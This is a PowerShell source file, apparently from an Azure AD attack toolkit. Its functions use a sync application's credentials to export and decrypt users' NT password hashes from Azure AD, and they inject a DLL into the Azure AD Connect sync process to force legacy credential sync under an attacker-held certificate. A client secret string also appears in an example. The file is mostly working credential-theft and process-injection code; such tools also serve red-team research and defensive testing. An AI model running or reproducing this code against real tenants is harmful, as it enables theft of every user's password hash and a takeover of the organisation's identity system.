DCaaS.ps1
# Gets users NT Hashes from Azure AD # Dec 22nd 2022 function Get-UserNTHash { <# .SYNOPSIS Exports and decrypts the NTHashes from Azure AD using the given application and certificate. .DESCRIPTION Exports and decrypts the NTHashes from Azure AD using the given application and certificate. The application must be "Azure AD Domain Services Sync" created during the Azure AD Domain services (AADDS) deployment. Either client certificate or password needs to be provided. The encryption certificate needs to be exported from AADDS domain controller. .Example PS C\:>Get-AADIntUserNTHash -ClientPassword "vlb8Q~W8iVXwfdt2FjIH4FE0hRc-p9G_kyN_KbtZ" -ClientId "23857e6f-7be4-4bb8-84b7-22e92c359c8d" -PfxFileName .\encryption_cert.pfx NTHash UserPrincipalName ------ ----------------- 00000000000000000000000000000000 user1@company.com 11111111111111111111111111111111 user2@company.com #> [cmdletbinding()] Param( [Parameter(ParameterSetName='ClientPassword', Mandatory=$False)] [Parameter(ParameterSetName='ClientCert' , Mandatory=$True)] [string]$ClientPfxFileName, [Parameter(ParameterSetName='ClientPassword', Mandatory=$True)] [Parameter(ParameterSetName='ClientCert' , Mandatory=$False)] [string]$ClientPassword, [Parameter(Mandatory=$False)] [string]$ClientPfxPassword, [Parameter(Mandatory=$False)] [string]$PfxFileName, [Parameter(Mandatory=$False)] [string]$PfxPassword, [Parameter(Mandatory=$False)] [guid]$TenantId, [Parameter(Mandatory=$True)] [guid]$ClientId, [Parameter(Mandatory=$False)] [String]$UserPrincipalName, [Parameter(Mandatory=$False)] [switch]$UseBuiltInCertificate ) Process { # Load certificates if(![string]::IsNullOrEmpty($ClientPfxFileName)) { $clientCertificate = Load-Certificate -FileName $ClientPfxFileName -Password $ClientPfxPassword -Exportable } if($UseBuiltInCertificate) { $decryptionCertificate = Load-Certificate -FileName "$PSScriptRoot\ForceNTHash.pfx" -Exportable } elseif(![string]::IsNullOrEmpty($PfxFileName)) { $decryptionCertificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } else { Throw "Provide PfxFileName or use -UseBuiltInCertificate" } # Parse the tenant name from the cert and get id if not provided if([string]::IsNullOrEmpty($TenantId)) { try { $domainName = $decryptionCertificate.Subject.Split("-")[1].Trim() $TenantId = Get-TenantID -Domain $domainName } catch { throw "Unable to parse tenant id from the certificate. Try again with -Tenant switch." } } # Get access token $access_token = Get-DCaaSAccessToken -Certificate $clientCertificate -TenantId $TenantId -ClientId $ClientId -Password $ClientPassword $queryString = '$select=id,onPremisesImmutableId,onPremisesSecurityIdentifier,userPrincipalName,windowsLegacyCredentials'#,windowsSupplementalCredentials' if(![string]::IsNullOrEmpty($UserPrincipalName)) { $queryString += "&`$filter=userPrincipalName eq '$UserPrincipalName'" } $results = Call-MSGraphAPI -AccessToken $access_token -API users -QueryString $queryString foreach($result in $results) { if($result.windowsLegacyCredentials) { $binLegacyCreds = Convert-B64ToByteArray -B64 $result.windowsLegacyCredentials $ADAuthInfo = Unprotect-ADAuthInfo -Data $binLegacyCreds -Certificate $decryptionCertificate if($ADAuthInfo) { $binHash = $ADAuthInfo[8..($ADAuthInfo.length)] [PSCustomObject][ordered]@{ "NTHash" = Convert-ByteArrayToHex -Bytes $binHash "UserPrincipalName" = $result.UserPrincipalName } } else { Write-Verbose "Decryption failed: $($result.UserPrincipalName)" } } else { Write-Verbose "No NTHash: $($result.UserPrincipalName)" } } } } # ForceNTHash functions # Some constants $AADConnectServiceName = "ADSync" $AADConnectProcessName = "miiserver" # Aug 21st 2023 function Install-ForceNTHash { <# .SYNOPSIS Installs ForceNTHash to the current computer. .DESCRIPTION Installs ForceNTHash to the current computer. ForceNTHash enforces Windows legacy credential sync. Credentials are encrypted using ForceNTHash.pfx certificate. .EXAMPLE Install-AADIntForceNTHash #> [cmdletbinding()] Param( [switch]$EnforceFullPasswordSync ) Process { # Chech that running as administrator and that the service is running Test-LocalAdministrator -Throw | Out-Null $service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue if([String]::IsNullOrEmpty($service)) { Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)" return } $promptValue = Read-Host "Are you sure you wan't to install ForceNTHash to this computer? Type YES to continue or CTRL+C to abort" if($promptValue -eq "yes") { # We need to restart so we can inject before GetWindowsCredentialsSyncConfig is called Restart-Service $AADConnectServiceName # But still wait a couple of seconds Write-Warning "Sleeping for five seconds.." Start-Sleep -Seconds 5 # Get the process id $process = Get-Process -Name $AADConnectProcessName -ErrorAction SilentlyContinue $processId = $process.Id # Inject the dll $result=Inject-DLL -ProcessID $processID -FileName "$PSScriptRoot\ForceNTHash.dll" -Function "Patch" Write-Verbose "Inject-DLL result: $result" if($result -like "*success*") { Write-Host "Installation successfully completed!" Write-Host "Windows legacy credentials sync is now enforced and credentials are encrypted with ForceNTHash certificate." if($EnforceFullPasswordSync) { Initialize-FullPasswordSync } return } else { Write-Error "Installation failed: $result" return } } } } # Aug 18th 2023 function Remove-ForceNTHash { <# .SYNOPSIS Removes ForceNTHash from the current computer .DESCRIPTION Removes ForceNTHash from the current computer by restarting ADSync service. .EXAMPLE Remove-AADIntForceNTHash WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start... WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start... WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start... Service restarted and ForceNTHash removed. #> [cmdletbinding()] Param() Process { $service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue if([String]::IsNullOrEmpty($service)) { Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)" return } Restart-Service $AADConnectServiceName Write-Host "Service restarted and ForceNTHash removed." } } # Aug 21st 2023 function Initialize-FullPasswordSync { <# .SYNOPSIS Enforces password hash sync of all users. .DESCRIPTION Enforces password hash sync of all users. .EXAMPLE Initialize-AADIntFullPasswordSync #> [cmdletbinding()] Param() Process { $service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue if([String]::IsNullOrEmpty($service)) { Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)" return } # ref: https://learn.microsoft.com/en-us/azure/active-directory-domain-services/tutorial-configure-password-hash-sync Import-Module "$(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\AD Sync" -Name "Location" )\Bin\ADSync\ADSync.psd1" Import-Module "$(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -Name "InstallationPath")\AdSyncConfig\AdSyncConfig.psm1" $connectors = Get-ADSyncConnector if($connectors.Count -ne 2) { Throw "Connector count is not 2, can't automatically select connectors" } # Define the Azure AD Connect connector names and import the required PowerShell module $azureadConnector = (Get-ADSyncConnector | where Type -ne "AD").Name $adConnector = (Get-ADSyncConnector | where Type -eq "AD").Name # Create a new ForceFullPasswordSync configuration parameter object then # update the existing connector with this new configuration $c = Get-ADSyncConnector -Name $adConnector $p = New-Object Microsoft.IdentityManagement.PowerShell.ObjectModel.ConfigurationParameter "Microsoft.Synchronize.ForceFullPasswordSync", String, ConnectorGlobal, $null, $null, $null $p.Value = 1 $c.GlobalParameters.Remove($p.Name) | Out-Null $c.GlobalParameters.Add($p) | Out-Null $c = Add-ADSyncConnector -Connector $c # Disable and re-enable Azure AD Connect to force a full password synchronization Set-ADSyncAADPasswordSyncConfiguration -SourceConnector $adConnector -TargetConnector $azureadConnector -Enable $false | Out-Null Set-ADSyncAADPasswordSyncConfiguration -SourceConnector $adConnector -TargetConnector $azureadConnector -Enable $true | Out-Null Write-Host "Full password sync enforced" } } |